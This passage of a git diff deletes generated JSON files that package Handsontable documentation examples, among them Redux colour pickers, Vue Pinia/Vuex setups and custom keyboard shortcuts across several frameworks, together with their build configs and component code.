    \n );\n}\n\ntype RendererProps = {\n TD?: HTMLTableCellElement;\n value?: string | number;\n row?: number;\n col?: number;\n cellProperties?: Handsontable.CellProperties;\n};\n\nconst UnconnectedColorPickerEditor = () => {\n const dispatch = useDispatch();\n const editorRef = useRef(null);\n const [pickedColor, setPickedColor] = useState('');\n\n const { value, setValue, isOpen, finishEditing, col, row } = useHotEditor({\n onOpen: () => {\n if (editorRef.current) editorRef.current.style.display = 'block';\n (document.querySelector('.react-colorful__interactive') as HTMLDivElement)?.focus();\n },\n onClose: () => {\n if (editorRef.current) editorRef.current.style.display = 'none';\n\n setPickedColor('');\n },\n onPrepare: (_row, _column, _prop, TD, _originalValue, _cellProperties) => {\n const tdPosition = TD.getBoundingClientRect();\n\n if (!editorRef.current) return;\n\n editorRef.current.style.left = `${tdPosition.left + window.pageXOffset}px`;\n editorRef.current.style.top = `${tdPosition.top + window.pageYOffset}px`;\n },\n onFocus: () => {},\n });\n\n const onPickedColor = (color: string) => {\n setValue(color);\n };\n\n const applyColor = () => {\n if (col === 1) {\n dispatch({\n type: 'updateActiveStarColor',\n row,\n hexColor: value,\n });\n } else if (col === 2) {\n dispatch({\n type: 'updateInactiveStarColor',\n row,\n hexColor: value,\n });\n }\n\n finishEditing();\n };\n\n const stopMousedownPropagation = (e: MouseEvent) => {\n e.stopPropagation();\n };\n\n const stopKeyboardPropagation = (e: KeyboardEvent) => {\n e.stopPropagation();\n\n if (e.key === 'Escape') {\n applyColor();\n }\n };\n\n return (\n \n \n \n \n );\n};\n\nconst ColorPickerEditor = connect(function (state: RootState) {\n return {\n activeColors: state.appReducer.activeColors,\n inactiveColors: state.appReducer.inactiveColors,\n };\n})(UnconnectedColorPickerEditor);\n\nconst ColorPickerRenderer = ({ value }: RendererProps) => {\n return (\n <>\n \n
    {value}
    \n \n );\n};\n\n// a Redux component\nconst initialReduxStoreState: {\n activeColors?: string[];\n inactiveColors?: string[];\n} = {\n activeColors: [],\n inactiveColors: [],\n};\n\nconst appReducer = (\n state = initialReduxStoreState,\n action: { type?: any; row?: any; hexColor?: any; hotData?: any }\n) => {\n switch (action.type) {\n case 'initRatingColors': {\n const { hotData } = action;\n\n const activeColors = hotData.map((data: string[]) => data[1]);\n const inactiveColors = hotData.map((data: string[]) => data[2]);\n\n return {\n ...state,\n activeColors,\n inactiveColors,\n };\n }\n\n case 'updateActiveStarColor': {\n const rowIndex = action.row;\n const newColor = action.hexColor;\n\n const activeColorArray = state.activeColors ? [...state.activeColors] : [];\n\n activeColorArray[rowIndex] = newColor;\n\n return {\n ...state,\n activeColors: activeColorArray,\n };\n }\n\n case 'updateInactiveStarColor': {\n const rowIndex = action.row;\n const newColor = action.hexColor;\n\n const inactiveColorArray = state.inactiveColors ? [...state.inactiveColors] : [];\n\n inactiveColorArray[rowIndex] = newColor;\n\n return {\n ...state,\n inactiveColors: inactiveColorArray,\n };\n }\n\n default:\n return state;\n }\n};\n\nconst actionReducers = combineReducers({ appReducer });\nconst reduxStore = createStore(actionReducers);\n\ntype RootState = ReturnType;\n\n// a custom renderer component\nconst UnconnectedStarRatingRenderer = ({\n row,\n col,\n value,\n activeColors,\n inactiveColors,\n}: {\n row?: number;\n col?: number;\n value?: number;\n activeColors?: string;\n inactiveColors?: string;\n}) => {\n return (\n \n );\n};\n\nconst StarRatingRenderer = connect((state: RootState) => ({\n activeColors: state.appReducer.activeColors,\n inactiveColors: state.appReducer.inactiveColors,\n}))(UnconnectedStarRatingRenderer);\n\nconst data = [\n [1, '#ff6900', '#fcb900'],\n [2, '#fcb900', '#7bdcb5'],\n [3, '#7bdcb5', '#8ed1fc'],\n [4, '#00d084', '#0693e3'],\n [5, '#eb144c', '#abb8c3'],\n];\n\nconst ExampleComponent = () => {\n useEffect(() => {\n reduxStore.dispatch({\n type: 'initRatingColors',\n hotData: data,\n });\n }, []);\n\n return (\n \n \n \n \n \n     \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/react-redux/react/example6.tsx","breadcrumb":["Getting Started","Integration with Redux"],"guide":"guides/getting-started/react-redux/react-redux.md","guideTitle":"Integration with Redux","exampleId":"example6","exampleTitle":"Advanced example","docPermalink":"/redux","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example5.vue.json deleted file mode 100644 index 5089de0b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example5.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ HotColumn component · Render columns dynamically · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/vue3-hot-column/vue/example5.vue","breadcrumb":["Getting Started","HotColumn component"],"guide":"guides/getting-started/vue3-hot-column/vue3-hot-column.md","guideTitle":"HotColumn component","exampleId":"example5","exampleTitle":"Render columns dynamically","docPermalink":"/vue-hot-column","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-pinia__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-pinia__vue__example1.vue.json deleted file mode 100644 index f29c6b80..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-pinia__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Pinia state management · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"pinia\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/getting-started/vue3-pinia/vue/example1.vue","breadcrumb":["Getting Started","Pinia state management"],"guide":"guides/getting-started/vue3-pinia/vue3-pinia.md","guideTitle":"Pinia state management","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/vue-pinia","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-vuex__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-vuex__vue__example1.vue.json deleted file mode 100644 index 4bdec5f7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-vuex__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Vuex state management · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"vuex\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/getting-started/vue3-vuex/vue/example1.vue","breadcrumb":["Getting Started","Vuex state management"],"guide":"guides/getting-started/vue3-vuex/vue3-vuex.md","guideTitle":"Vuex state management","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/vue-vuex","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__angular__example1.ts.json deleted file mode 100644 index 437985c1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Navigation ▸ Custom shortcuts · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport type Handsontable from 'handsontable/base';\n\n@Component({\n selector: 'example1-custom-shortcuts',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n readonly data: Array> = [\n ['SKU-4821', 'Wireless Mouse', 128, 'Electronics'],\n ['SKU-0093', 'Desk Lamp', 42, 'Home Goods'],\n ['SKU-7734', 'USB-C Cable', 310, 'Electronics'],\n ['SKU-2210', 'Notebook Set', 87, 'Office Supplies'],\n ['SKU-5567', 'Water Bottle', 156, 'Outdoor'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['SKU', 'Product', 'Quantity', 'Category'],\n columns: [{}, {}, { type: 'numeric' }, {}],\n height: 'auto',\n afterInit(this: Handsontable) {\n // get the `grid` context from the `ShortcutManager` API\n const gridContext = this.getShortcutManager().getContext('grid');\n\n if (!gridContext) {\n return;\n }\n\n // register a custom keyboard shortcut in the `grid` context:\n // pressing Control/Meta+Enter inserts a new row below the selected cell\n gridContext.addShortcut({\n keys: [['control/meta', 'enter']],\n group: 'insertRowBelow',\n callback: () => {\n const selected = this.getSelectedRangeLast();\n\n if (!selected || selected.highlight.row === null) {\n return;\n }\n\n this.alter('insert_row_below', selected.highlight.row);\n },\n });\n },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/navigation/custom-shortcuts/angular/example1.ts","breadcrumb":["Navigation","Custom shortcuts"],"guide":"guides/navigation/custom-shortcuts/custom-shortcuts.md","guideTitle":"Custom shortcuts","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/custom-shortcuts","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__javascript__example1.js.json deleted file mode 100644 index f641b93f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Navigation ▸ Custom shortcuts · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// register Handsontable's modules\nregisterAllModules();\nconst data = [\n ['SKU-4821', 'Wireless Mouse', 128, 'Electronics'],\n ['SKU-0093', 'Desk Lamp', 42, 'Home Goods'],\n ['SKU-7734', 'USB-C Cable', 310, 'Electronics'],\n ['SKU-2210', 'Notebook Set', 87, 'Office Supplies'],\n ['SKU-5567', 'Water Bottle', 156, 'Outdoor'],\n];\nconst container = document.querySelector('#example1');\nconst hot = new Handsontable(container, {\n data,\n colHeaders: ['SKU', 'Product', 'Quantity', 'Category'],\n columns: [{}, {}, { type: 'numeric' }, {}],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});\n// get the `grid` context from the `ShortcutManager` API\nconst gridContext = hot.getShortcutManager().getContext('grid');\nif (gridContext) {\n // register a custom keyboard shortcut in the `grid` context:\n // pressing Control/Meta+Enter inserts a new row below the selected cell\n gridContext.addShortcut({\n keys: [['control/meta', 'enter']],\n group: 'insertRowBelow',\n callback: () => {\n const selected = hot.getSelectedRangeLast();\n if (!selected || selected.highlight.row === null) {\n return;\n }\n hot.alter('insert_row_below', selected.highlight.row);\n },\n });\n}","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/navigation/custom-shortcuts/javascript/example1.js","breadcrumb":["Navigation","Custom shortcuts"],"guide":"guides/navigation/custom-shortcuts/custom-shortcuts.md","guideTitle":"Custom shortcuts","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/custom-shortcuts","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__javascript__example1.ts.json deleted file mode 100644 index cc29e476..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Navigation ▸ Custom shortcuts · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data: (string | number)[][] = [\n ['SKU-4821', 'Wireless Mouse', 128, 'Electronics'],\n ['SKU-0093', 'Desk Lamp', 42, 'Home Goods'],\n ['SKU-7734', 'USB-C Cable', 310, 'Electronics'],\n ['SKU-2210', 'Notebook Set', 87, 'Office Supplies'],\n ['SKU-5567', 'Water Bottle', 156, 'Outdoor'],\n];\n\nconst container: Element = document.querySelector('#example1')!;\n\nconst hot = new Handsontable(container, {\n data,\n colHeaders: ['SKU', 'Product', 'Quantity', 'Category'],\n columns: [{}, {}, { type: 'numeric' }, {}],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// get the `grid` context from the `ShortcutManager` API\nconst gridContext = hot.getShortcutManager().getContext('grid');\n\nif (gridContext) {\n // register a custom keyboard shortcut in the `grid` context:\n // pressing Control/Meta+Enter inserts a new row below the selected cell\n gridContext.addShortcut({\n keys: [['control/meta', 'enter']],\n group: 'insertRowBelow',\n callback: () => {\n const selected = hot.getSelectedRangeLast();\n\n if (!selected || selected.highlight.row === null) {\n return;\n }\n\n hot.alter('insert_row_below', selected.highlight.row);\n },\n });\n}","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/navigation/custom-shortcuts/javascript/example1.ts","breadcrumb":["Navigation","Custom shortcuts"],"guide":"guides/navigation/custom-shortcuts/custom-shortcuts.md","guideTitle":"Custom shortcuts","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/custom-shortcuts","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__react__example1.tsx.json deleted file mode 100644 index 2b614076..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Navigation ▸ Custom shortcuts · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const data: (string | number)[][] = [\n ['SKU-4821', 'Wireless Mouse', 128, 'Electronics'],\n ['SKU-0093', 'Desk Lamp', 42, 'Home Goods'],\n ['SKU-7734', 'USB-C Cable', 310, 'Electronics'],\n ['SKU-2210', 'Notebook Set', 87, 'Office Supplies'],\n ['SKU-5567', 'Water Bottle', 156, 'Outdoor'],\n ];\n\n const afterInitCallback = () => {\n const hot = hotRef.current?.hotInstance;\n\n if (!hot) {\n return;\n }\n\n // get the `grid` context from the `ShortcutManager` API\n const gridContext = hot.getShortcutManager().getContext('grid');\n\n if (!gridContext) {\n return;\n }\n\n // register a custom keyboard shortcut in the `grid` context:\n // pressing Control/Meta+Enter inserts a new row below the selected cell\n gridContext.addShortcut({\n keys: [['control/meta', 'enter']],\n group: 'insertRowBelow',\n callback: () => {\n const selected = hot.getSelectedRangeLast();\n\n if (!selected || selected.highlight.row === null) {\n return;\n }\n\n hot.alter('insert_row_below', selected.highlight.row);\n },\n });\n };\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/navigation/custom-shortcuts/react/example1.tsx","breadcrumb":["Navigation","Custom shortcuts"],"guide":"guides/navigation/custom-shortcuts/custom-shortcuts.md","guideTitle":"Custom shortcuts","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/custom-shortcuts","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__vue__example1.vue.json deleted file mode 100644 index 96138ed2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__navigation__custom-shortcuts__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Navigation ▸ Custom shortcuts · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/navigation/custom-shortcuts/vue/example1.vue","breadcrumb":["Navigation","Custom shortcuts"],"guide":"guides/navigation/custom-shortcuts/custom-shortcuts.md","guideTitle":"Custom shortcuts","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/custom-shortcuts","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-header__angular__example2.ts.json deleted file mode 100644 index 5a08bc8f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Rows ▸ Row headers · Row headers as an array · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n 